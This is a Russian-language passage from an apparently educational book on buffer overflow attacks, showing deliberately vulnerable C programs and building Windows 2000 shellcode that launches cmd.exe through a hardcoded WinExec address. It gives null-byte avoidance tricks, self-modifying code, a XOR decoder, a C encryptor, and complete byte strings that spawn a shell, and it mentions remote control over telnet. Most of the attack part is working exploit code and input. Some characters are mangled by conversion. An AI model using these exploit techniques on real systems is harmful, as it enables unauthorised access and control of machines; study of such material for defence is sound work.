С переполнением в один байт «сорвать стек» невозможно, поскольку чтобы «дотянуться» до адреса возврата в большинстве случаев требуется «пересечь» сохраненное значение регистра EBP [320], занимающее четыре байта. Но ведь именно этот факт и можно использовать для атаки! Потом, переполняющийся буфер не всегда располагается на вершине стека. Скорее всего, за ним следуют некие локальные переменные, искажение значения которых может привести к нарушению нормальной работоспособности программы: от зависания до возможности несанкционированного вторжения в систему.

В примере, приведенном ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/buff.var.c”), используется переменная-флаг noguest, нулевое значение которой открывает доступ в систему всем желающим:

· #include «stdio.h»
· #include «string.h»
·
· main (int argc,char **argv)
· {
· int noguest=1;
· char pass[16];
· int a=1;
· for (;a«argc;a++)
· {
· if (argv[a][0]-'/')
· {
· if (!strcmp( amp;argv[a][0],"/GUEST:ON")) noguest=0;
·}
· else
· {
· if (strlen(argv[a])»16)
· printf("Too long arg: %s\n",argv[a]);
· else
· strcpy( amp;pass[0],argv[a]);
·}
·}
· if ((!strcmp("KPNC++\n", amp;pass[0])) || (!noguest))
· printf("Password ok\n");
· else
· printf("Wrong password\n");
·
·
·}

Дизассемблирование позволяет установить, что переменная “noguest” расположена в «хвосте» буфера buff и может быть искажена при его переполнении. Поскольку, при проверке длины строки допущена ошибка «if (strlen(argv[a])»16)…», завершающий ноль шестнадцатисимвольной строки обнулит значение переменной “noguest” и откроет злоумышленнику путь в систему. Это демонстрирует следующий эксперимент:

· buff.var.exe 1234567890123456

· Password ok

Но если увеличить длину строки хотя бы на один байт, программа отбросит ее как неправильную:

· buff.var.exe 12345678901234567

· Too long arg: 12345678901234567

· Wrong password

Конечно, вероятность возникновения подобной ситуации на практике очень мала. Для атаки необходимо неблагоприятное стечение многих маловероятных обстоятельств. Размер буфера должен быть кратен величие выравнивания, иначе переполняющий байт запишется в «черную дыру» [321] и ничего не произойдет. Следующая за буфером переменная должна быть критична к обнулению, т.е. если программист открывал бы доступ на машину при ненулевом значении флага guest, опять бы ничего не произошло. Поэтому, в большинстве случаев несанкционированного доступа к машине получить не удастся, а вот «завесить» ее гораздо вероятнее.

Например, следующий код (на, диске, прилагаемом к книге, он находится в файле “/SRC/buff.var.2.c”), в отличие от предыдущего, трудно назвать искусственным и «притянутым за уши»:

· #include «stdio.h»
· #include «string.h»
·
· main (int argc,char **argv)
· {
·
· char pass[16];
· int a=1;
· for (;a«argc;a++)
· {
· if (argv[a][0]-'/')
· {
· if (!strcmp( amp;argv[a][0],"/GUEST:ON"))
· {
· printf("Guest user ok\n");
· break;
·}
·}
· else
· {
· if (strlen(argv[a])»16)
· printf("Too long arg: %s\n",argv[a]);
· else
· strcpy( amp;pass[0],argv[a]);
·}
·}
· if ((!strcmp("KPNC++\n", amp;pass[0])))
· printf("Password ok\n");
· else
· printf("Wrong password\n");
·
·}

Переполнение буфера вызовет запись нуля в счетчик цикла ‘a’, в результате чего цикл никогда не достигнет своего конца, а программа «зависнет». А если буфер окажется расположенным в вершине стека, то «вылетевший» за его пределы ноль исказит значение регистра EBP. Большинство компиляторов генерируют код, использующий для адресации локальных переменных регистр EBP, поэтому искажение его значения приведет к нарушению работы вызывающей процедуры.

Такую ситуацию демонстрирует следующий пример (на диске, прилагаемом к книге, он расположен в файле “/SRC/buff.ebp.c”):

· #include «stdio.h»
· #include «string.h»
·
· int Auth()
· {
· char pass[16];
· printf("Passwd:");fgets( amp;pass[0],17,stdin);
· return!strcmp("KPNC++\n", amp;pass[0]);
·}
·
· main (int argc,char **argv)
· {
·
· int guest=0;
· if (argc»2) if (!strcmp( amp;argv[1][0],"/GUEST:ON")) guest=1;
·
· if (Auth() || guest) printf("Password ok\n");
· else
· printf("Wrong password\n");
·
·}

Ввод строки наподобие “1234567890123456123” затрет сохраненное значение регистра EBP, в результате чего при попытке прочитать значение переменной guest произойдет обращение к совсем другой области памяти, которая, скорее всего, содержит ненулевое значение. В результате злоумышленник сможет несанкционированно войти в систему.

Модификация сохраненного значения регистра EBP имеет побочный эффект - вместе с регистром EBP изменяется и регистр-указатель верхушки стека. Большинство компиляторов генерируют приблизительно следующие прологи и эпилоги функций (в листинге они выделены жирным шрифтом):

·.text:00401040 Main proc near; CODE XREF: start+AFp

·.text:00401040

·.text:00401040 var_4 = dword ptr -4

·.text:00401040

·.text:00401040 push ebp

·.text:00401041 mov ebp, esp

·.text:00401043 push ecx

·.text:00401044 push offset aChahgeEbp; "Chahge EBP\n"

·.text:00401049 call sub_0_401214

·.text:0040104E add esp, 4

·.text:00401051 call Auth

·.text:00401056 mov [ebp+var_4], eax

·.text:00401059 cmp [ebp+var_4], 0

·.text:0040105D jz short loc_0_40106E

·.text:0040105F push offset aPasswordOk; "Password ok\n"

·.text:00401064 call sub_0_401214

·.text:00401069 add esp, 4

·.text:0040106C jmp short loc_0_40107B

·.text:0040106E;

· ---------------------------------------------------------------------

·.text:0040106E

·.text:0040106E loc_0_40106E:; CODE XREF: Main+1Dj

·.text:0040106E push offset aWrongPassword; "Wrong password\n"

·.text:00401073 call sub_0_401214

·.text:00401078 add esp, 4

·.text:0040107B

·.text:0040107B loc_0_40107B:; CODE XREF: Main+2Cj

·.text:0040107B mov esp, ebp

·.text:0040107D pop ebp

· .text:0040107E retn

Сперва значение регистра ESP копируется в EBP, затем выделяется память под локальные переменные (если они есть) уменьшением ESP. А при выходе из функции ESP восстанавливается путем присвоения значения, сохраненного в регистре EBP. Если же вызываемая функция исказит значение EBP, то при выходе из функции ESP будет указывать уже не на адрес возврата, а на какой-то другой адрес и при передаче на него управления, скорее всего, произойдет исключение и операционная система приостановит выполнение программы.

Однако осмысленное искажение значение регистра EBP в некоторых случаях способно передать управление на переданный код, однако, для этого необходимо, чтобы он размещался в буфере вызывающей процедуры.

Получив возможность выполнения своего кода на удаленной машине, злоумышленник, как правило, стремится запустить командный интерпретатор, или пытается вызвать системные функции для повышения своего статуса или регистрации нового пользователя в системе. Модификация же кода уязвимой программы (примеры которой приведены в главе «Технология срыва стека») не всегда позволяет атакующему получить желаемый результат.

Под управлением UNIX такая операция не представляет больших сложностей. Функции ядра могут быть вызваны либо посредством программного прерывания INT 0x80 (в LINUX), либо передачей управления по особому адресу, именуемому точкой входа ядра в системах совместимых с System V расположенного по адресу 0x0007:0x00000000. Среди системных вызовов наличествуют и функция exec, которая вкупе с fork (или даже без оной) позволяет запускать другие программы, в том числе и командный интерпретатор, или в терминологии UNIX - оболочку (Shell).

Функция ядра Windows NT доступны через программное прерывание INT 0x2F, но все они «сырые» и не готовы к непосредственному использованию. Одного вызова функции ZwCreateProcess, она же NtCreateProcess (EAX=0x29, INT 0x2Fh) для создания нового потока еще не достаточно. Реализация CreateProcessA (CreateProcessW), размещенная в модуле KERNEL32.DLL, содержит много «обвязочного» кода, в чем легко убедиться, заглянув в него дизассемблером.

Запустить приложение, пользуясь только сервисом, предоставляемым прерыванием INT 0x2F можно, но требует значительного объема памяти, который атакующему, скорее всего, окажется недоступен. Поэтому, приходится прибегать к вызову функций из модулей DLL. Традиционно для этого загружают выбранный модуль вызовом LoadLibray, а затем получают адрес требуемой функции с помощью GetProcAddress. Например, на Си вызов командного интерпретатора может выглядеть так:

· UINT (__stdcall *x) (LPCSTR lpCmdLine, UINT uCmdShow);

· x= (UINT (__stdcall *)(LPCSTR lpCmdLine, UINT uCmdShow))

· (GetProcAddress(LoadLibrary("KERNEL32.DLL"),"WinExec"));

· x("cmd.exe",SW_SHOW);

Использование устаревшей функции “WinExec” вместо современной “CreateProcess” значительно упрощает код. Вместо десяти аргументов CreateProcess, функция WinExec имеет всего два - указатель на командную строку и статус отображения окна после запуска. Даже компилятор свободно укладывается в семьдесят с небольшим байт, оставляя простор для оптимизации:

·.text:00401000 55 push ebp

·.text:00401001 8B EC mov ebp, esp

·.text:00401003 51 push ecx

·.text:00401004 68 30 50 40 00 push 405030h

·.text:00401009 68 38 50 40 00 push offset aKernel32_dll; "KERNEL32.DLL"

·.text:0040100E FF 15 04 40 40 00 call ds:LoadLibraryA

·.text:00401014 50 push eax

·.text:00401015 FF 15 48 40 40 00 call ds:GetProcAddress

·.text:0040101B 89 45 FC mov [ebp+var_4], eax

·.text:0040101E 6A 05 push 5

·.text:00401020 68 48 50 40 00 push offset aCmd_exe; "cmd.exe"

·.text:00401025 FF 55 FC call [ebp+var_4]

·.text:00401028 8B E5 mov esp, ebp

·.text:0040102A 5D pop ebp

·.text:0040102B C3 retn

·…

· data:00405030 57 69 6E 45 78 65+aWinexec db 'WinExec',0

· data:00405038 4B 45 52 4E 45 4C+aKernel32_dll db 'KERNEL32.DLL',0

· data:00405045 00 00 00 align 4

· data:00405048 63 6D 64 2E 65 78+aCmd_exe db 'cmd.exe',0

Но сразу же возникают следующие трудности [322]: наличие нулевых символов не позволяет ввести такой код с клавиатуры. Можно конечно, снабдить код расшифровщиком, один из примеров которого приведен в дополнении «Шифровка кода», добившись исчезновения всех нулевых символов во вводимой строке. Но и сам шифровщик потребует какое-то количество памяти, которой может попросту не хватить. Другая трудность заключается в следующем - функции LoadLibrary и GetProcAddress реализованы наполовину в NTDLL.DLL, наполовину в KERNEL32.DLL и через прерывание INT 0x2E недоступны. Прежде чем их использовать, следует загрузить KERNEL32.DLL (но с помощью чего?) и определить адрес функции GetProcAddress (например, вызовом самой GetProcAddress [323]).

После сказанного может возникнуть вопрос, - как же приложения под Windows еще ухитряются работать? Существует такое понятие как неявная компоновка, - подключение необходимых библиотек еще на стадии загрузки файла. Для этого необходимо перечислить все требуемые функции в секции импорта PE-файла. Именно так и поступают программисты для вызова внешних функций, а к LoadLibrary прибегают редко.

Но даже если злоумышленник и получит доступ к секции импорта (а для этого необходимо иметь право записи в исполняемый и, как правило, исполняющийся в данный момент файл [324]), то он столкнется с проблемой модифицирования готовой секции импорта, что само по себе представляет нетривиальную задачу. Наконец, если добавление новых элементов пройдет успешно, изменения возымеют силу только после последующей загрузки файла.

На самом же деле, используя ряд допущений, можно решить ту же задачу более простым путем. Одна из недокументированных особенностей Windows состоит в том, во всех процессах система проецирует модуль KERNEL32.DLL по одним и тем же адресам. Поскольку, трудно представить себе приложение, обходящееся без KERNERL32.DLL [325], то можно сделать предположение, что модуль KERNEL32 уже загружен и в вызове LoadLibrary уже нет никакой необходимости.

Сложнее избавится от использования GetProcAddress. Адреса функций KERNEL32.DLL идентичны для всех процессов, но варьируются в зависимости от версии операционной системы. Существует несколько универсальных способов более или менее работоспособных во всех версиях (например, попытка найти GetProcAddress в таблице импорта текущего процесса), но все они либо ненадежны, либо их реализация занимает значительное количество памяти. Поэтому, ниже будет рассмотрен самый простой способ использования фиксированных адресов. Единственный его недостаток заключается в «привязанности» к конкретной версии операционной системы.

Для определения адреса функции WinExec можно воспользоваться следующим кодом (или изучить секцию импорта с помощью утилиты dumpbin, поставляемую с любым Windows-компилятором):

· printf(“0x%X \n”,
· GetProcAddress(
· LoadLibrary("KERNEL32.DLL"),"WinExec"
·)
·);

Под управлением Windows 2000 (сборка 2195) программа возвратит адрес 0x77E98601, в других версиях возможны иные значения. Тогда код, запускающий некую программу, может выглядеть следующим образом:

· 00000000: 68 78 56 34 12 push 012345678;

· 00000005: 68?????? ?? push offset cmdLine;

· 0000000A: B8 01 86 E9 77 mov eax,077E98601;"

· 0000000F: FF D0 call eax

Всего шестнадцать байт без учета длины имени файла и кода, возвращающего управление основной ветке программы.

Некоторые пояснения: поскольку, функции API Windows вызываются по соглашению PASCAL, то аргументы заносятся в стек справа на лево, и выталкивает их из стека сама вызываемая функция. Первой передается константа WS_SHOW, равная пяти. Если передать любое другое ненулевое значение, функция все равно отработает успешно, но появится возможность избавится от трех нулей, присутствующих в двойном слове, младший байт которого равен пяти. Смещение строки, содержащей имя файла, так же содержит нуль в своем старшем байте, от которого необходимо избавится. Так же необходимо как-то освободится от завершающего строку нуля.

Если приведенный выше код расположить в локальном буфере функции и передать ему управление командой ret, он окажется неработоспособным. До выхода из функции пространство стека, занятое локальными переменными, освобождается: регистр указателя верхушки стека смещается вниз на дно кадра стека, а поскольку функция WinExec интенсивно использует стек, то, с вероятностью близкой к единице, код, вызывающий WinExec, окажется уничтожен и после возврата из функции произойдет исключение, приводящее к аварийному завершению программы. Во избежание этого необходимо «поднять» указатель верхушки стека, восстанавливая кадр стека. Для этого можно воспользоваться командой “SUB ESP,??”, которая в шестнадцатеричных кодах выглядит так: “83 EC??”, и не содержит нулей в старших байтах константы, поскольку ей отводится всего один знаковый байт, который может принимать значения от -0x7F до 0x7F. Если этого окажется недостаточно, можно использовать несколько команд “SUB ESP,??” или поискать какие-нибудь другие решения (которых просто море).

Избавится от нуля в смещении строки можно, например, следующим образом: запустить отладчик и установить точку останова на команде “ret”. Дождавшись всплытия отладчика, выбрать регистр, старшее слово которого совпадает со смещением строки. Если же такового не окажется, можно прибегнуть к следующему приему:

· 00000000: 33 C0 xor eax,eax

· 00000002: B0?? mov al,??;"f

· 00000004: C1 E0 10 shl eax,010;

· 00000007: 66 B8???? mov ax,????;

Не сложнее избавится и от нуля, завершающего строку. Достаточно прибегнуть, например, к самомодифицирующемуся коду, который может выглядеть, например, следующим образом (регистр EAX должен указывать на начало строки):

· 00000000: FE4007 inc b,[eax][00007]

· 000000x0: 63 ‘c’

· 000000x1: 6D ‘m’

· 000000x2 64 ‘d’

· 000000x3: 2E ‘.’

· 000000x4: 65 ‘e’

· 000000x5 78 ‘x’

· 000000x6: 65 ‘e’

· 000000x7: FF ‘\xFF’

Строку завершает байт 0xFF, который командой INC, превращается в ноль! Разумеется, допустимо использовать и другие математические операции, например, SUB или логические XOR, AND.

Объединив все вышесказанное, можно получить код, который может выглядеть, например, так:

· 00000000: 83 EC?? sub esp,??;

· 00000003: 33 C0 xor eax,eax

· 00000005: B0?? mov al,??;

· 00000007: 50 push eax;

· 00000008: C1 E0 10 shl eax,010;

· 0000000B: 66 B8???? mov ax,????;

· 0000000F: FE 40 07 inc b,[eax][00007];

· 00000012: 50 push eax;

· 00000013: B8 01 86 E9 77 mov eax,077E98601;"

· 00000018: FF D0 call eax;

· 0000001A: EB FE jmps 00000001A;

· 0000001C: 63 ‘c’;

· 0000001D: 6D ‘m’;

· 0000001E: 64 ‘d’;

· 0000001F: 2E ‘.’;

· 00000020: 65 ‘e’;

· 00000021: 78 ‘x’;

· 00000022: 65 ‘e’;

· 00000023: FF ‘\xFF’;

Вместо возращения управления основой ветке программы, в коде, приведенном выше, использовано зацикливание. Это не самое лучшее решение, однако, чаще всего оно никак не отражается на работоспособности атакуемой программы, (т.е. не вешает ее), поскольку каждый подключившийся к серверу пользователь обычно обрабатывается отдельным потоком. Однако, возможно значительное падение производительности, особенно хорошо заметное на однопроцессорных машинах и правильнее было бы вгонять поток в сон, например, воспользовавшись вызовом WaitForSingleObject. Но в некоторых случаях можно обойтись и без этого [326].

Пусть, например, имеется следующая программа, содержащая ошибку переполнения буфера (на диске, прилагаемом к книге, она находится в файле “/SRC/buff.cmd.c”):

· #include «stdio.h»
· #include «string.h»
·
·
· auth()
· {
· char pass[32];
· printf("Passw:"); gets( amp;pass[0]);
· if (!strcmp( amp;pass[0],"KPNC*"))
· return 1;
· return 0;
·}
·
· main()
· {
· printf("CMD Shell Demo\n");
· if (auth())
· printf("Password ok\n");
· else
· printf("Invalid password\n");
·
·}

Если откомпилировать этот файл с помощью Microsoft Visual Studio 6.0 и запустить под отладчиком, установив точку останова в начале процедуры auth(), можно узнать адрес буфера в стеке, размер кадра стека и значение регистров при выходе из функции (разумеется, для этого необходимо трассировать код, пока не встретится команда ret). Отладчик в этот момент может выглядеть так (смотри рисунок 076):

Значение регистра ESP в момент выхода из функции равно 0x12FF7C [327], а размер кадра стека 0x20+0x4 = 0x24 байт (четыре байта занимает сохраненное в стеке значение регистра EBP). Следовательно, адрес буфера (а он находится на вершине стека) равен 0x12FF7C - 0x24 = 0x12FF58. Задав этот адрес в окне дампа памяти можно удостовериться, что сюда действительно помещается введенная пользователем строка.

Значение регистра EDX после выхода из функции strcmp совпадает со смещением начала буфера. Поэтому, код для запуска командного интерпретатора путем вызова WinExec может выглядеть так:

· 00000000: 83 EC 30 sub esp,030;

· 00000003: 52 push edx;

· 00000004: B2 6B mov dl,06B;

· 00000006: FE 42 07 inc b,[edx][00007];

· 00000009: 52 push edx;

· 0000000A: B8 01 86 E9 77 mov eax,077E98601;

· 0000000F: FF D0 call eax;

· 00000011: EB FE jmps 000000011;

· 00000013: 63 ‘c’

· 00000014: 6D ‘m’

· 00000015 64 ‘d’

· 00000016: 2E ‘.’

· 00000017: 65 ‘e’

· 00000018 78 ‘x’

· 00000019: 65 ‘e’

· 0000001A: FF ‘\xFF’

Смещение строки “cmd.exe” в буфере равно 0x13, следовательно, младший байт регистра EDX должен быть равен 0x58+0x13 = 0x6B. Остается вычислить адрес возврата, задаваемый 37, 38 и 39 байтами вводимой строки (размер буфера 32 байта и еще 4 байта занимает сохраненное значение регистра EBP). Он равен (с учетом обратного порядка байтов) 0x88 0xFF 0x12.

Тогда, вся строка в десятичном представлении (приготовленная для ввода через Alt) будет выглядеть так (на диске, прилагаемом к книге, она находится в файле “/SRC/buff.cmd.2000.key”, однако, перенаправление ввода блокирует клавиатуру и в командном интерпретаторе, поэтому все же придется набирать эту строку вручную):

· 131 236 048 082 178 107 254 066 007 082 184 001 134

· 233 119 255 208 235 254 099 109 100 046 101 120 101

· 255 088 088 088 120 088 088 120 120 088 088 255 018

Если ввести его правильно и без ошибок, запустится командный интерпретатор, что и демонстрирует рисунок 077.

Поскольку Windows 2000 поставляется вместе с telnet-сервером, злоумышленник получает возможность запустить cmd.exe на удаленной машине и управлять ею по своему усмотрению. Штатная поставка Windows NT 4.0 не содержит средств для поддержки такого сервиса, однако, злоумышленник может передать необходимые инструкции в командной строке, например, так: “cmd.exe /k copy xxxx yyyyy”, для копирования выбранного файла в доступную ему директорию.

Точно так можно запустить и любой другой файл, не только командный интерпретатор. Однако, описанный метод запуска программ, привязан к конкретной версии операционной системы и код, написанный для одной из них, окажется неработоспособен в другой. В UNIX системах, совместимых с System V адреса системных вызовов стандартизированы и не меняются от версии к версии.

В дополнении «Использование срыва стека для запуска командного интерпретатора под Windows NT» к главе «Технология срыва стека» были рассмотрены некоторые способы избавления от нулей, встречающихся в исполняемом коде. Грубо их можно разделить на следующие категории:

· Использование математических и логических операций для вычисления требуемого результата на лету. (Например: XOR EAX,EAX; AND EAX,0xFF??FFFF; INC [EAX])

· Использование SEX [328]-мнемоник, (Например, вместо 05 20 00 00 00 add eax,0x20 можно использовать 83 C0 20 add eax,+0x20)

· Использование регистров (ячеек памяти) уже содержащих требуемое значение

Однако SEX-мнемоники выручают не во всех случаях, использование «мусора», оставленного вызывающий код функцией, ненадежно и не позволяет создать мобильный код [329], а использование математических операций для избавления от каждого нуля при большом количестве нулей потребует много памяти, которой может не хватить.

Поэтому, часто оказывается выгоднее шифровать весь код целиком, поскольку простейший декодер занимает порядка шестнадцати байт, а каждая операция избавления от нулевой ячейки требует по крайней мере три байта (FE 42?? INC b, [EDX+??]). Легко посчитать, если в передаваемом коде наличествуют более шести нулевых несмежных байт, использование декодера позволяет сэкономить память.

Другое преимущество декодера заключается в упрощении кода, поскольку теперь не требуется «ломать голову», пытаясь избавится от вездесущих нулей. Например, следующая конструкция позволяет создавать мобильный код, работающий независимо от того, где он расположен в памяти:

· 00000000: E8 00 00 00 00 call 000000005

· 00000005: 58 pop eax

Вызов CALL 0x5 заносит в стек значение регистра указателя команд, который содержит смещение следующей инструкции, а инструкция EAX выталкивает его из стека. Теперь появляется возможность адресовать все смещения, используя EAX (или любой другой регистр) в качестве базы.

Но вызов “CALL 0x5” содержит четыре нулевых байта, поэтому должен быть переписан таким образом, в нем не встретилось ни одного нуля. Один из возможных вариантов показан ниже:

· 00000000: EB03 jmps 000000005

· 00000002: 58 pop eax

· 00000003: EB05 jmps 00000000A

· 00000005: E8F8FFFFFF call 000000002

Это не только занимает много памяти, но и усложняет написание программы, поскольку постоянно приходится помнить о «злополучных» нулях и выискивать такие комбинации, где они не встречаются. А это требует очень хорошо значения ассемблера и принципа кодирования команд микропроцессора. Декодер же способен автоматически избавиться от всех нулей, упрощая написание программы.

В простейшем случае сердцем декодера может стать логическая операция XOR. Одно из ее свойств заключается в том, что A XOR B = (A XOR B) XOR B, т.е. повторное шифрование восстанавливает исходный текст.

Другое свойство XOR: A XOR A - 0, поэтому в качестве ключа шифрования необходимо выбрать такой байт, который бы ни разу не встречался в шифруемом коде, иначе он обратится в ноль, что недопустимо.

Один из вариантов расшифровщика приведен ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/xor.bin”):

· 00000000: 33 C9 xor ecx,ecx

· 00000002: 83 C1 10 add ecx,??;

· 00000005: 33 C0 xor eax,eax

· 00000007: 83 C0 10 add eax,011;

· 0000000A: 80 34 04?? xor b,[esp][eax],??;

· 0000000E: 40 inc eax

· 0000000F: E2 F9 loop 00000000A ____________________ (1)

Для обеспечения мобильности все смещения вычисляются от регистра ESP, при этом он должен указывать на начало декодера. А в регистр ECX необходимо занести длину расшифровываемого фрагмента.

Например, код, запускающий командный интерпретатор в программе buff.cmd.c (смотри дополнение «Использование срыва стека для запуска командного интерпретатора под Windows NT), переписанный с использованием декодера может выглядеть так:

· 00000000: 83 EC 30 sub esp,030;
· 00000003: 8B C4 mov eax,esp
· 00000005: 33 C9 xor ecx,ecx
· 00000007: 83 C1 13 add ecx,013;
· 0000000A: 80 70 19 90 xor b,[eax][00019],090;
· 0000000E: 40 inc eax
· 0000000F: E2 F9 loop 00000000A
· 00000011: 50 push eax
· 00000012: 83 C0 14 add eax,014;
· 00000015: 50 push eax
· 00000016: B8 01 86 E9 77 mov eax,077E98601;
· 0000001B: FF D0 call eax
· 0000001D: EB FE jmps 00000001D
· 0000001F: 63 ‘c’
· 00000020: 6D ‘m’
· 00000021: 64 ‘d’
· 00000022: 00 ‘\0’
· 00000023: 34 незначащий байт
· 00000024: 58 адрес
· 00000025: FF возв-
· 00000026: 12 рата
· 00000027: 00

Расшифровщик занимает много места и в остающееся пространство уже не удается целиком записать имя командного интерпретатора. Конечно, функция WinExec сумеет запустить файл без указания расширения, но в оставшиеся четыре байта влезет имя далеко не всякого файла. Поэтому, использование декодера в этом случае явно нецелесообразно, и приводится лишь для приведения работоспособной иллюстрации к главе.

Но полученный код еще не готов к употреблению. Со смещения 0х11 (первый расшифровываемый байт) по 0х23 (последний расшифровываемый байт) его необходимо зашифровать, выполнив над каждым байтом операцию XOR 0x90. Такой ключ шифрования выбран потому, что в шифруемом фрагменте нет ни одного байта, равного 0х90. Следовательно, в зашифрованной строке не окажется ни одного нуля. Другим недопустимым символом является код клавиши «ENTER», равный 0xD. Если он встретится во вводимой строке, система воспримет его как завершение строки и прекратит ввод.

Для шифровки можно воспользоваться любой утилитой, наподобие шестнадцатеричных редакторов QVIEW (или HIEW), но нетрудно это реализовать и на языке Си. Один из простейших вариантов приведен ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/buff.crypt.c”). Для упрощения понимания его работы никакие проверки не выполняются.

· #include «stdio.h»
·
· main()
· {
· FILE *fin,*fout;
· char buff[40];
· int a=0x11;
·
· fin=fopen("buff.raw","rb");
· fout=fopen("buff.ok","wb");
· fread( amp;buff[0],1,40,fin);
· for (;a«0x24;a++) buff[a]=buff[a] ^ 0x90;
· fwrite( amp;buff[0],1,40,fout);
· close(fin);
· close(fout);
·}
·
·

Полученный в результате шифровки файл должен выглядеть следующим образом (на диске, прилагаемом к книге, он находится в директории “/SRC” и называется “buff.ok”)

· 00000000: 83 EC 30 8B C4 33 C9 83 ¦ C1 13 80 70 19 90 40 E2 Гь0Л-3гГ+!АpvР@т

· 00000010: F9 C0 13 50 84 C0 28 91 ¦ 16 79 E7 6F 40 7B 6E F3 •L!PДL(С-yчo@{nє

· 00000020: FD F4 90 A4 58 FF 12 00 ¦ ¤ЇРдX ¦

То же самое в десятичном виде, предназначенное для ввода в компьютер с помощью клавиши Alt выглядит так:

· 131 236 048 139 196 051 201 131 193 019 128 112 025

· 144 064 226 249 192 019 080 132 192 040 145 022 121

· 231 111 064 123 110 243 253 244 144 164 088 255 018

Если все ввести правильно и без ошибок, запустится командный интерпретатор.